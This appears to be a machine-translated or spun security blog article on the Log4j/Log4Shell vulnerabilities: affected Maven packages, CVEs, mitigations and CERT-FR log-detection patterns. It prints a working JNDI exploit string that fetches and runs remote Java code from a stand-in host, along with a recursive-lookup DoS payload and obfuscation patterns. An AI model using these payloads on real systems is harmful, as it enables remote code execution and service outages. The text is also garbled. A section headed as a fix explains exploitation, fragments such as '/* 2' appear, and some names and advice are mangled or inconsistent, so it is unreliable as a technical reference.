Log4j 2 Java Package Impacted Alongwith 35,000 Others

Updated on

The development comes around the same time that Google’s analysis reveals that more than 35,000 Java packages contain log4j vulnerabilities.

“More than 35,000 Java packages, representing more than 8% of the Maven Central repository (the largest Java package repository), have been affected by recently disclosed log4j vulnerabilities,” explain Open’s James Wetter and Nicky Ringland. Source Insights Team. Google in yesterday’s blog post.

Affected log4j Versions​ – log4j v2

Almost all versions of log4j version 2 are affected.

2.0-beta9 <= Apache log4j <= 2.14.1

According to Google, the vast majority of vulnerable Java packages in Maven Central borrow log4j “indirectly,” meaning that log4j is a dependency on a dependency used by the package, a concept also known as transitive dependencies.

Google Direct Indirect - Java Packages Have Log4j Flaws

Of the 35,863 packages identified by Google, only about 7,000 have directly borrowed log4j, indicating that not all developers may have adequate exposure to their software:

“Lack of user visibility into their own dependencies and transitive dependencies made patching difficult; it also made it difficult to determine the full blast radius of this vulnerability,” Google explains.

Looking at the history of publicly disclosed critical vulnerabilities affecting Maven packages, and the fact that fewer than 48% of those packages have had a fix, Google researchers expect “a long wait, probably years” before they are released. log4j flaws are completely removed from all java packages.

As BleepingComputer reported, threat actors are targeting vulnerable servers with log4j exploits to drive malware, and the Conti ransomware gang specifically looks at vulnerable VMWare vCenter servers.

Therefore, organizations should update to the latest versions of log4j and continue to monitor Apache alerts for updates.

Updated to log4j 2.16? Surprise, there is a DoS. 2.17 that solves

Is everything ready for the weekend? Not so fast. Yesterday BleepingComputer summarized all known CVE log4j and logbacks so far.

Since log4j’s zero-day saga began last week, security experts have repeatedly recommended version 2.16 as the safest version to use.

Today, things change with version 2.17.0, which fixes a seemingly minor but “high” severity DoS (denial of service) vulnerability affecting log4j 2.16.

And, yes, this DoS error comes with another identifier: CVE-2021-45105.

The cPanel web hosting server control panel software recently released a patch to correct Critical Log4j vulnerability in cPanel plugin. Recently they released a patch to correct a critical flaw in the log4j Java library discovered in part of the software used for email. The vulnerability itself is named Log4Shell.

Infinite recursion, finite pitches?

The suspicion of a DoS bug affecting log4j 2.16.0 arose in the Apache JIRA project about three days ago, shortly after 2.15.0 was discovered to be vulnerable to a minor DoS vulnerability (CVE-2021-45046).

However, as BleepingComputer reported yesterday, Apache increased the severity of CVE-2021-45046 from a low value (3.7) to a critical value (9.0), after new omissions allowed the possibility of data exfiltration through this. exploit.

“If you try to substitute a string for any reason in the following string, an infinite recursion will be triggered and the application will crash,” indicates the JIRA issue, with a PoC payload:

$ {$ {:: – $ {:: – $$ {:: – j}}}}

A few hours ago, including vx-underground security researchers AND Fantastic Hacker tweeted about a possible denial of service flaw that also affects log4j version 2.16:

And it turns out that after discussing the topic for the last three days, Apache assigned a new CVE and released a new version.

Log4j 2.17.0 fixes DoS

Plotted as CVE-2021-45105 and rated “High” (7.5) on the CVSS scale, the DoS defect exists as log4j 2.16 “does not always protect against infinite recursion in search evaluation.”

Although JNDI searches were completely disabled in version 2.16, self-referenced searches were still a possibility under certain circumstances.

“Apache Log4j2 versions 2.0-alpha1 to 2.16.0 did not protect against uncontrolled recursion of self-referential searches,” state the release notes viewed by BleepingComputer.

“When the registry configuration uses a non-default template layout with a contextual search (for example, ` `$ {dollar} $ {dollar} {ctx: loginId}` ` ), attackers who have control over the input data Thread Context Map (MDC) can create malicious input containing a recursive lookup, resulting in a StackOverflowError that will shut down the process. ”

To correct the vulnerability, version 2.17.0 of log4j (for Java 8) was released today and only allows “search strings in configuration” to be recursively expanded. In any other use, only the top-level search would be resolved and not nested searches.

The release is expected to hit the largest Java package repository, Maven Central later today.

Although Apache has so far officially released details on the upcoming 2.17.0 version, the GitHub commits seen by BleepingComputer indicate that a 2.12.3 version may also be on the way for those on the 2.12.x branch versions.

The threat is “extremely critical”

“The Apache Log4j vulnerability is the largest and most critical vulnerability of the last decade,” said Amit Yoran, CEO of Tenable, a network security company, and the founding director of the Emergency Preparedness Team. US IT

The US and German governments, for example, have publicly warned about the risks of the vulnerability discovered: “The threat situation is extremely critical. Immediate protection measures are required,” the Interior Ministry spokesman said. German, Steve Alter.

It will take time to fully resolve the failure

Although Apache, the maker of Log4j, released a partial fix for the vulnerability on Friday (12.10.2021), affected companies and cyber defenders will need time to locate the vulnerable software and properly implement the patches. According to security experts, Log4j is maintained by a few volunteers.

In practice, the bug allows an outsider to enter an activation code in the registration process. That code then instructs the server hosting the software to execute a command that gives the hacker control.

Hackers try to take advantage of the flaw

The problem was first disclosed publicly by a security researcher working for Chinese technology company Alibaba Group Holding Ltd, Apache noted in its security advisory.

So far no major cyber incidents have been publicly documented as a result of the vulnerability, but researchers are seeing an alarming rise in hacker groups trying to exploit the flaw for espionage.

How to fix log4j vulnerability?

Here is how to possibly fix log4j vulnerability of versions starting with the log4j exploit:

  • /*

  • 2

Log4j transpires a lot everywhere, especially since the vulnerability is currently in use. To make it short, all you have to do is pass the following characters in the logs analyzed by log4j.

${jndi:ldap://URL.com/FICHIER_JAVA}

and this will have the effect of downloading and executing the java file which is at the end of the url “URL.com/FICHIER_JAVA”. It is as simple as it is dramatic.

log4shell Logo - Java Packages Have Log4j Flaws

As you know, to patch this Log4Shell vulnerability (CVE-2021-44228), it is urgent to update log4j to a version> = 2.15.0.

  • Mass analysis activity continues

The vast majority of traffic observed by Microsoft remains mass scans by attackers and security researchers. Microsoft has observed rapid adoption of this vulnerability in existing botnets like Mirai, existing campaigns previously targeting vulnerable Elasticsearch systems to deploy cryptocurrency miners, and activity deploying the Tsunami backdoor on Linux systems. Many of these campaigns run a concurrent scan and operational activities for Windows and Linux systems, using Base64 commands included in the request.JDNI: ldap: //to run bash commands on Linux and PowerShell on Windows.

Microsoft also continued to observe malicious activity leaking data through the vulnerability without dropping a payload. This attack scenario could be particularly impactful against network devices with SSL termination, where the actor could disclose secrets and data.

  • Mitigation measures

CERT-FR recommends that you perform a thorough analysis of network logs. The following reasons can be used to identify an attempt to exploit this vulnerability when used in URLs or certain HTTP headers as user-agent:

1 $ {jndi:
2 $% 7Bjndi: (takes into account simple obfuscation)

However, attackers can use obfuscation means to bypass the previous detection patterns. The following reasons allow certain obfuscation methods to be taken into account but can cause false positives:

1 $ {$ {
2 $ {:: -
3 % 24% 7B% 3A% 3A-
4 $ {env:
5 $ {date:
6 $ {lower:
7 $ {upper:
8 hostName}
9 } $ {
1 $ {(generates a lot of false positives, but very exhaustive)
0

In order to determine if an exploit attempt was successful, and in the event that you have logs containing DNS queries, it is recommended that you correlate them with the results of the above reasons. Indeed, if the execution of a query of type$ {jndi: xxx: // name.domain.com}worked, then DNS resolution will be performed to resolve the external domain name name.domain.com. The issuance of a DNS query can also be tracked in the application server logs. So, it may be useful to look for the com.sun.jndi.dns.DnsContext @ pattern in these logs. An external domain resolution does not mean that a successful code execution, but rather confirms that the application is vulnerable. It will therefore be necessary to continue analyzing the logs to detect a compromise.

It is strongly recommended to use version 2.15.0 of log4j as soon as possible. However, in case of difficulty migrating to this version, the workarounds below can be applied temporarily:

  • For applications using versions 2.7.0 and later of the log4j library, it is possible to guard against any attack by modifying the format of the events to be logged with the% m {nolookups} syntax for the data that would be provided by the user. This modification requires modifying the log4j configuration file to produce a new version of the application. This, therefore, requires performing the technical and functional validation steps again before the deployment of this new version.
  • For applications using versions 2.10.0 and later of the log4j library, it is also possible to guard against any attack by changing the configuration parameter log4j2.formatMsgNoLookups to true, for example when launching the Java virtual machine with the -Dlog4j2.formatMsgNoLookups = true option. Another alternative is to remove the JndiLookup class in the classpath parameter to eliminate the main attack vector (the researchers do not rule out the existence of another attack vector).

These Log4j fixes are ​​not that easy to implement. Consult WP Hacked Help team for more information.

Other Security Articles –

cPanel Plugin Log4j Vulnerability – How To Mitigate & Protect

WordPress Passwordless Authentication – Login Form & Plugins

WordPress Google Dorking: Find Vulnerabilities & Sensitive Data

24 Best Free Email Anti-Spam Filter Tools 2021 (Gmail, Outlook)

How to Fix “The site ahead contains harmful programs” Chrome

Best WordPress Vulnerability Scanners & Security Tools Online 2022